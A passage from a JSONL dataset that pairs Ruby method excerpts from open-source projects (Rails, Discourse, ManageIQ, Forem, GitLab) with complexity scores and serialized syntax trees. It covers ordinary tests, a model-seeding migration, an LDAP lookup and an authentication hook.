end","complexity_score":21.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_default_string_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"inline_pages/(:id)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"str\",\"children\":[\"pages#show\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"home\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"default_pages/(:id)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"str\",\"children\":[\"pages#show\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"defaults\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"home\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"defaults\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"home\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"scoped_pages/(:id)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"str\",\"children\":[\"pages#show\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/inline_pages\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"home\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/default_pages\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"home\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/scoped_pages\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"home\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"4f882a72-8ca5-4144-a52b-3005a5777684"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/db/migrate/20240603133432_seed_other_propietary_models.rb","start_line":4,"raw_source":"def up\n    models = []\n\n    gemini_key = fetch_setting(\"ai_gemini_api_key\")\n    enabled_models = fetch_setting(\"ai_bot_enabled_chat_bots\")&.split(\"|\").to_a\n\n    if gemini_key.present?\n      gemini_models = %w[gemini-pro gemini-1.5-pro gemini-1.5-flash]\n\n      gemini_models.each do |gm|\n        url = \"https://generativelanguage.googleapis.com/v1beta/models/#{gemini_mapped_model(gm)}\"\n\n        bot_user_id = \"NULL\"\n        bot_user_id = -115 if gm == \"gemini-1.5-pro\" && has_companion_user?(-115)\n\n        enabled = enabled_models.include?(gm)\n        models << \"('#{gm.titleize}', '#{gm}', 'google', 'DiscourseAi::Tokenizer::OpenAiTokenizer', '#{gemini_tokens(gm)}', '#{url}', '#{gemini_key}', #{bot_user_id}, #{enabled}, NOW(), NOW())\"\n      end\n    end\n\n    cohere_key = fetch_setting(\"ai_cohere_api_key\")\n\n    if cohere_key.present?\n      cohere_models = %w[command-light command command-r command-r-plus]\n\n      cohere_models.each do |cm|\n        bot_user_id = \"NULL\"\n        bot_user_id = -120 if cm == \"command-r-plus\" && has_companion_user?(-120)\n\n        enabled = enabled_models.include?(cm)\n        models << \"('#{cm.titleize}', '#{cm}', 'cohere', 'DiscourseAi::Tokenizer::OpenAiTokenizer', #{cohere_tokens(cm)}, 'https://api.cohere.ai/v1/chat', '#{cohere_key}', #{bot_user_id}, #{enabled}, NOW(), NOW())\"\n      end\n    end\n\n    if models.present?\n      rows = models.compact.join(\", \")\n\n      DB.exec(<<~SQL, rows: rows) if rows.present?\n      INSERT INTO llm_models(display_name, name, provider, tokenizer, max_prompt_tokens, url, api_key, user_id, enabled_chat_bot, created_at, updated_at)\n        VALUES #{rows};\n      SQL\n    end\n  end","complexity_score":67.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"models\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"gemini_key\",{\"type\":\"send\",\"children\":[null,\"fetch_setting\",{\"type\":\"str\",\"children\":[\"ai_gemini_api_key\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"enabled_models\",{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_setting\",{\"type\":\"str\",\"children\":[\"ai_bot_enabled_chat_bots\"]}]},\"split\",{\"type\":\"str\",\"children\":[\"|\"]}]},\"to_a\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gemini_key\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"gemini_models\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"gemini-pro\"]},{\"type\":\"str\",\"children\":[\"gemini-1.5-pro\"]},{\"type\":\"str\",\"children\":[\"gemini-1.5-flash\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gemini_models\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"gm\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://generativelanguage.googleapis.com/v1beta/models/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gemini_mapped_model\",{\"type\":\"lvar\",\"children\":[\"gm\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bot_user_id\",{\"type\":\"str\",\"children\":[\"NULL\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gm\"]},\"==\",{\"type\":\"str\",\"children\":[\"gemini-1.5-pro\"]}]},{\"type\":\"send\",\"children\":[null,\"has_companion_user?\",{\"type\":\"int\",\"children\":[-115]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bot_user_id\",{\"type\":\"int\",\"children\":[-115]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"enabled\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enabled_models\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"gm\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"models\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gm\"]},\"titleize\"]}]},{\"type\":\"str\",\"children\":[\"', '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gm\"]}]},{\"type\":\"str\",\"children\":[\"', 'google', 'DiscourseAi::Tokenizer::OpenAiTokenizer', '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gemini_tokens\",{\"type\":\"lvar\",\"children\":[\"gm\"]}]}]},{\"type\":\"str\",\"children\":[\"', '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"str\",\"children\":[\"', '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gemini_key\"]}]},{\"type\":\"str\",\"children\":[\"', \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bot_user_id\"]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enabled\"]}]},{\"type\":\"str\",\"children\":[\", NOW(), NOW())\"]}]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"cohere_key\",{\"type\":\"send\",\"children\":[null,\"fetch_setting\",{\"type\":\"str\",\"children\":[\"ai_cohere_api_key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cohere_key\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cohere_models\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"command-light\"]},{\"type\":\"str\",\"children\":[\"command\"]},{\"type\":\"str\",\"children\":[\"command-r\"]},{\"type\":\"str\",\"children\":[\"command-r-plus\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cohere_models\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cm\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bot_user_id\",{\"type\":\"str\",\"children\":[\"NULL\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cm\"]},\"==\",{\"type\":\"str\",\"children\":[\"command-r-plus\"]}]},{\"type\":\"send\",\"children\":[null,\"has_companion_user?\",{\"type\":\"int\",\"children\":[-120]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bot_user_id\",{\"type\":\"int\",\"children\":[-120]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"enabled\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enabled_models\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"cm\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"models\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cm\"]},\"titleize\"]}]},{\"type\":\"str\",\"children\":[\"', '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cm\"]}]},{\"type\":\"str\",\"children\":[\"', 'cohere', 'DiscourseAi::Tokenizer::OpenAiTokenizer', \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cohere_tokens\",{\"type\":\"lvar\",\"children\":[\"cm\"]}]}]},{\"type\":\"str\",\"children\":[\", 'https://api.cohere.ai/v1/chat', '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cohere_key\"]}]},{\"type\":\"str\",\"children\":[\"', \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bot_user_id\"]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enabled\"]}]},{\"type\":\"str\",\"children\":[\", NOW(), NOW())\"]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"models\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rows\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"models\"]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO llm_models(display_name, name, provider, tokenizer, max_prompt_tokens, url, api_key, user_id, enabled_chat_bot, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\"  VALUES \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rows\"]},{\"type\":\"lvar\",\"children\":[\"rows\"]}]}]}]},null]}]},null]}]}]}","id":"7ac5b092-d7ce-43a2-8159-54cfee670a9f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/miq_ldap.rb","start_line":444,"raw_source":"def get_organizationalunits(basedn = nil, filter = nil)\n    basedn ||= @basedn\n    filter ||= \"(ObjectCategory=organizationalUnit)\"\n    result = search(:base => basedn, :scope => :sub, :filter => filter)\n    return nil unless result\n\n    result.collect { |o| [get_attr(o, :dn), get_attr(o, :name)] }\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_organizationalunits\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"basedn\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"filter\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"basedn\"]},{\"type\":\"ivar\",\"children\":[\"@basedn\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filter\"]},{\"type\":\"str\",\"children\":[\"(ObjectCategory=organizationalUnit)\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"search\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"lvar\",\"children\":[\"basedn\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"sym\",\"children\":[\"sub\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"lvar\",\"children\":[\"filter\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_attr\",{\"type\":\"lvar\",\"children\":[\"o\"]},{\"type\":\"sym\",\"children\":[\"dn\"]}]},{\"type\":\"send\",\"children\":[null,\"get_attr\",{\"type\":\"lvar\",\"children\":[\"o\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}","id":"94e173f3-f372-44d7-9d34-be825e7936c8"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/testing/notification_assertions_test.rb","start_line":50,"raw_source":"def test_assert_notifications_count\n        assert_notifications_count(\"post.submitted\", 1) do\n          ActiveSupport::Notifications.instrument(\"post.submitted\", title: \"Cool Post\")\n        end\n\n        assert_raises(Minitest::Assertion, match: /Expected 1 instead of 2 notifications for post.submitted/) do\n          assert_notifications_count(\"post.submitted\", 1) do\n            ActiveSupport::Notifications.instrument(\"post.submitted\", title: \"Cool Post\")\n            ActiveSupport::Notifications.instrument(\"post.submitted\", title: \"Cooler Post\")\n          end\n        end\n\n        assert_raises(Minitest::Assertion, match: /Expected 1 instead of 0 notifications for post.submitted/) do\n          assert_notifications_count(\"post.submitted\", 1) { nil } # no notifications\n        end\n      end","complexity_score":15.05,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_notifications_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_notifications_count\",{\"type\":\"str\",\"children\":[\"post.submitted\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"instrument\",{\"type\":\"str\",\"children\":[\"post.submitted\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Cool Post\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"Assertion\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"match\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected 1 instead of 2 notifications for post.submitted\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_notifications_count\",{\"type\":\"str\",\"children\":[\"post.submitted\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"instrument\",{\"type\":\"str\",\"children\":[\"post.submitted\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Cool Post\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"instrument\",{\"type\":\"str\",\"children\":[\"post.submitted\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Cooler Post\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"Assertion\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"match\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected 1 instead of 0 notifications for post.submitted\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_notifications_count\",{\"type\":\"str\",\"children\":[\"post.submitted\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"30503018-5185-46bb-a894-08bb675e5e0d"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_ext_test.rb","start_line":379,"raw_source":"def test_daylight_savings_time_crossings_forward_end_1day\n    with_env_tz \"US/Eastern\" do\n      # dt: US: 2005 October 30th 12:45am\n      assert_equal Time.local(2005, 10, 31, 0, 45, 0), Time.local(2005, 10, 30, 0, 45, 0).since(1.day), \"dt+1.day=>st\"\n      assert_equal Time.local(2005, 11, 1, 0, 45, 0), Time.local(2005, 10, 31, 0, 45, 0).since(1.day), \"st+1.day=>st\"\n    end\n    with_env_tz \"NZ\" do\n      # dt: New Zealand: 2006 March 19th 1:45am\n      assert_equal Time.local(2006, 3, 20, 1, 45, 0), Time.local(2006, 3, 19, 1, 45, 0).since(1.day), \"dt+1.day=>st\"\n      assert_equal Time.local(2006, 3, 21, 1, 45, 0), Time.local(2006, 3, 20, 1, 45, 0).since(1.day), \"st+1.day=>st\"\n    end\n  end","complexity_score":49.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_daylight_savings_time_crossings_forward_end_1day\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_env_tz\",{\"type\":\"str\",\"children\":[\"US/Eastern\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[31]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[45]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[30]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[45]},{\"type\":\"int\",\"children\":[0]}]},\"since\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]}]},{\"type\":\"str\",\"children\":[\"dt+1.day=>st\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[11]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[45]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[31]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[45]},{\"type\":\"int\",\"children\":[0]}]},\"since\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]}]},{\"type\":\"str\",\"children\":[\"st+1.day=>st\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_env_tz\",{\"type\":\"str\",\"children\":[\"NZ\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[20]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[45]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[19]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[45]},{\"type\":\"int\",\"children\":[0]}]},\"since\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]}]},{\"type\":\"str\",\"children\":[\"dt+1.day=>st\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[21]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[45]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[20]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[45]},{\"type\":\"int\",\"children\":[0]}]},\"since\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]}]},{\"type\":\"str\",\"children\":[\"st+1.day=>st\"]}]}]}]}]}]}","id":"76eeaa56-e14c-408a-9a86-d8bf6582c9f6"}
{"repo_name":"forem","file_path":"./repos/forem/spec/liquid_tags/twitch_tag_spec.rb","start_line":8,"raw_source":"def assert_parses_clip(slug, token)\n    liquid = Liquid::Template.parse(\"{% twitch #{token} %}\").render\n    expect(liquid).to include \"https://clips.twitch.tv/embed?clip=#{slug}&amp;parent=forem.test&amp;autoplay=false\"\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_parses_clip\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"slug\"]},{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"liquid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{% twitch \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]}]},{\"type\":\"str\",\"children\":[\" %}\"]}]}]},\"render\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"liquid\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://clips.twitch.tv/embed?clip=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]}]},{\"type\":\"str\",\"children\":[\"&amp;parent=forem.test&amp;autoplay=false\"]}]}]}]}]}]}","id":"573b89bd-48a6-452b-b903-7908451740b0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/oidc/step_up_auth_before_request_phase.rb","start_line":12,"raw_source":"def call(env)\n            requested_scope = request_param_step_up_auth_scope_from(env).to_sym\n            current_user = current_user_from(env)\n\n            return if current_user.blank?\n            return if requested_scope.blank?\n\n            return if requested_scope_admin_mode?(requested_scope) &&\n              Feature.disabled?(:omniauth_step_up_auth_for_admin_mode, current_user)\n\n            return if requested_scope_namespace?(requested_scope) &&\n              Feature.disabled?(:omniauth_step_up_auth_for_namespace, current_user)\n\n            session = session_from(env)\n            provider = current_provider_from(env)\n\n            step_up_auth_flow =\n              ::Gitlab::Auth::Oidc::StepUpAuthentication.build_flow(\n                session: session,\n                provider: provider,\n                scope: requested_scope\n              )\n\n            # TODO: Integrate the state uuid in the step-up auth session.\n            # Why? At the moment, there is a small security vulnerability\n            # where simultaneous authentication requests could lead to privilege escalation, https://gitlab.com/gitlab-org/gitlab/-/issues/555349.\n            return unless step_up_auth_flow.enabled_by_config?\n\n            # This method will set the state to 'requested' in the session\n            step_up_auth_flow.request!\n          end","complexity_score":26.6,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"requested_scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_param_step_up_auth_scope_from\",{\"type\":\"lvar\",\"children\":[\"env\"]}]},\"to_sym\"]}]},{\"type\":\"lvasgn\",\"children\":[\"current_user\",{\"type\":\"send\",\"children\":[null,\"current_user_from\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_user\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"requested_scope\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"requested_scope_admin_mode?\",{\"type\":\"lvar\",\"children\":[\"requested_scope\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"disabled?\",{\"type\":\"